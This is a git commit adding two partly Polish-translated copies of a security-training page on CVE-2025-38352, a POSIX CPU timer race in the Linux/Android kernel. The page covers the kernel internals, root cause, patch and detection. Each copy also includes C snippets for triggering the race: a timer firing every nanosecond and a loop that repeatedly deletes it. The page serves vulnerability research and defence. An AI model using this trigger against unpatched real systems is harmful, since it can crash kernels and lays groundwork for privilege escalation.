Translated ['src/binary-exploitation/linux-kernel-exploitation/posix-cpu

This commit is contained in:
Translator 2025-09-30 00:43:42 +00:00
parent fdd8042c25
commit 2bab9edd96
3 changed files with 393 additions and 0 deletions

View File

@ -937,3 +937,5 @@
- [Post Exploitation](todo/post-exploitation.md) - [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md) - [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md) - [Cookies Policy](todo/cookies-policy.md)
- [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)

View File

@ -0,0 +1,195 @@
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
{{#include ../../../banners/hacktricks-training.md}}
Ta strona dokumentuje warunek wyścigu TOCTOU w Linux/Android POSIX CPU timers, który może uszkodzić stan timera i spowodować awarię kernela, a w pewnych okolicznościach dać się skierować ku privilege escalation.
- Dotknięty komponent: kernel/time/posix-cpu-timers.c
- Primitive: wyścig między wygaśnięciem a usunięciem przy zakończeniu zadania
- Wrażliwe na konfigurację: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (ścieżka wygaśnięcia w kontekście IRQ)
Szybkie przypomnienie wewnętrzności (istotne dla eksploatacji)
- Trzy zegary CPU odpowiadają za rozliczanie timerów przez cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: tylko utime
- CPUCLOCK_SCHED: task_sched_runtime()
- Tworzenie timera wiąże timer z task/pid i inicjalizuje timerqueue nodes:
```c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
```
- Uzbrajanie wstawia do per-base timerqueue i może zaktualizować next-expiry cache:
```c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
```
Szybka ścieżka unika kosztownego przetwarzania, chyba że zbuforowane czasy wygaśnięcia wskazują na możliwe wyzwolenie:
```c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
```
- Wygaśnięcie zbiera wygasłe timery, oznacza je jako uruchomione, usuwa je z kolejki; faktyczne dostarczenie jest odroczone:
```c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
```
Dwa tryby przetwarzania wygaśnięć
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: wygaśnięcie jest odroczone przez task_work na zadaniu docelowym
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: wygaśnięcie obsługiwane bezpośrednio w kontekście IRQ
```c
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk); // IRQ-context path
lockdep_posixtimer_exit();
}
#endif
```
W ścieżce kontekstu IRQ lista firing jest przetwarzana poza sighand.
```c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags); // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing; // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}
```
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- The target task is exiting but not fully reaped
- Another thread concurrently calls posix_cpu_timer_del() for the same timer
Sequence
1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
Why TASK_WORK mode is safe by design
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
Fix (Android common kernel) and rationale
- Add an early return if current task is exiting, gating all processing:
```c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
```
- To uniemożliwia wejście do handle_posix_cpu_timers() dla zadań wychodzących, eliminując okno, w którym posix_cpu_timer_del() mógłby przegapić it.cpu.firing i spowodować wyścig z przetwarzaniem wygaśnięcia.
Impact
- Uszkodzenie pamięci jądra w strukturach timerów podczas równoczesnego wygaśnięcia/usuwania może prowadzić do natychmiastowych awarii (DoS) i stanowi silny prymityw do eskalacji uprawnień z powodu możliwości dowolnej manipulacji stanem jądra.
Triggering the bug (safe, reproducible conditions)
Build/config
- Upewnij się, że CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n i użyj jądra bez poprawki gate'ującej exit_state.
Runtime strategy
- Wyceluj w wątek, który ma zaraz zakończyć działanie, i przypnij do niego timer CPU (per-thread lub process-wide):
- Dla per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- Dla process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Uzbrój z bardzo krótkim początkowym czasem wygaśnięcia i małym interwałem, aby zmaksymalizować liczbę wejść w ścieżkę IRQ:
```c
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
```
- Z równoległego wątku jednocześnie usuń ten sam timer, gdy wątek docelowy kończy działanie:
```c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
```
- Race amplifiers: wysoka częstotliwość ticków schedulera, obciążenie CPU, powtarzające się cykle zakończeń i ponownego tworzenia wątków. Awaria zwykle objawia się, gdy posix_cpu_timer_del() pomija wykrycie pola firing z powodu nieudanego wyszukiwania/blokowania tasku tuż po unlock_task_sighand().
Detection and hardening
- Mitigacja: zastosuj exit_state guard; w miarę możliwości włącz CONFIG_POSIX_CPU_TIMERS_TASK_WORK.
- Obserwowalność: dodaj tracepoints/WARN_ONCE wokół unlock_task_sighand()/posix_cpu_timer_del(); wyzwalaj alert, gdy it.cpu.firing==1 zostanie zaobserwowane razem z nieudanym cpu_timer_task_rcu()/lock_task_sighand(); monitoruj niespójności timerqueue podczas wychodzenia tasku.
Audit hotspots (for reviewers)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): sets ctmr->firing and moves nodes
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
Notes for exploitation research
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
## Referencje
- [Race Against Time in the Kernels Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,196 @@
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
{{#include ../../../banners/hacktricks-training.md}}
Ta strona dokumentuje błąd wyścigu TOCTOU w Linux/Android POSIX CPU timers, który może uszkodzić stan timera i spowodować awarię jądra, a w pewnych okolicznościach może zostać wykorzystany do privilege escalation.
- Affected component: kernel/time/posix-cpu-timers.c
- Primitive: expiry vs deletion race under task exit
- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Quick internals recap (relevant for exploitation)
- Three CPU clocks drive accounting for timers via cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:
```c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
```
- Uzbrajanie wstawia element do per-base timerqueue i może zaktualizować next-expiry cache:
```c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
```
- Szybka ścieżka unika kosztownego przetwarzania, chyba że zapisane w pamięci podręcznej informacje o wygaśnięciach wskazują na możliwe wywołanie:
```c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
```
- Wygaśnięcie zbiera wygasłe timery, oznacza je jako wyzwolone, usuwa je z kolejki; rzeczywiste dostarczenie jest odroczone:
```c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
```
Dwa tryby przetwarzania wygaśnięć
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: wygaśnięcie jest odkładane przez task_work na docelowym zadaniu
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: wygaśnięcie obsługiwane bezpośrednio w kontekście IRQ
```c
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk); // IRQ-context path
lockdep_posixtimer_exit();
}
#endif
```
W ścieżce IRQ-context lista firing jest przetwarzana poza sighand.
```c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags); // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing; // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}
```
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- The target task is exiting but not fully reaped
- Another thread concurrently calls posix_cpu_timer_del() for the same timer
Sequence
1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
Why TASK_WORK mode is safe by design
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
Fix (Android common kernel) and rationale
- Add an early return if current task is exiting, gating all processing:
```c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
```
- To zapobiega wejściu do handle_posix_cpu_timers() dla zadań wychodzących, eliminując okno, w którym posix_cpu_timer_del() mógłby przeoczyć it.cpu.firing i konkurować z przetwarzaniem wygaśnięcia.
Impact
- Uszkodzenie pamięci jądra struktur timerów podczas równoczesnego wygaśnięcia/usunięcia może powodować natychmiastowe awarie (DoS) i stanowi silny prymityw do eskalacji uprawnień ze względu na możliwość dowolnej manipulacji stanem jądra.
Triggering the bug (safe, reproducible conditions)
Build/config
- Upewnij się, że CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n i użyj jądra bez poprawki kontrolującej exit_state.
Runtime strategy
- Wskaż wątek, który ma się zakończyć i dołącz do niego CPU timer (zegar per-thread lub dla całego procesu):
- Dla pojedynczego wątku: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- Dla całego procesu: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Ustaw bardzo krótkie początkowe wygaśnięcie i mały interwał, aby zmaksymalizować wejścia do ścieżki IRQ:
```c
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
```
- Z sibling thread, równocześnie usuń ten sam timer, podczas gdy target thread kończy działanie:
```c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
```
- Czynniki nasilające warunki wyścigu: wysoka częstotliwość ticków planisty, obciążenie CPU, powtarzające się cykle zakończenia/wtórnego tworzenia wątków. Awaria zwykle objawia się, gdy posix_cpu_timer_del() pomija wykrycie firing z powodu nieudanego wyszukiwania/blokowania zadania tuż po unlock_task_sighand().
Wykrywanie i zabezpieczenia
- Środki zaradcze: zastosuj ochronę exit_state; preferuj włączenie CONFIG_POSIX_CPU_TIMERS_TASK_WORK, gdy to możliwe.
- Obserwowalność: dodaj tracepoints/WARN_ONCE wokół unlock_task_sighand()/posix_cpu_timer_del(); generuj alert, gdy zaobserwowano it.cpu.firing==1 razem z nieudanym cpu_timer_task_rcu()/lock_task_sighand(); obserwuj niespójności w timerqueue wokół exit zadania.
Punkty audytu (dla recenzentów)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- wybór __run_posix_cpu_timers() (ścieżka TASK_WORK vs IRQ)
- collect_timerqueue(): ustawia ctmr->firing i przesuwa węzły
- handle_posix_cpu_timers(): zwalnia sighand przed pętlą wyzwalania
- posix_cpu_timer_del(): polega na it.cpu.firing do wykrywania expiry w locie; ta kontrola jest pomijana, gdy wyszukiwanie/blokada zadania nie powiodą się podczas exit/reap
Uwagi do badań nad eksploatacją
- Ujawnione zachowanie jest wiarygodnym prymitywem powodującym awarię jądra; przekształcenie go w eskalację uprawnień zwykle wymaga dodatkowego kontrolowalnego nakładania się (object lifetime lub write-what-where influence), wykraczającego poza zakres tego streszczenia. Traktuj każdy PoC jako potencjalnie destabilizujący i uruchamiaj wyłącznie w emulatorach/VMs.
## References
- [Race Against Time in the Kernels Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
{{#include ../../../banners/hacktricks-training.md}}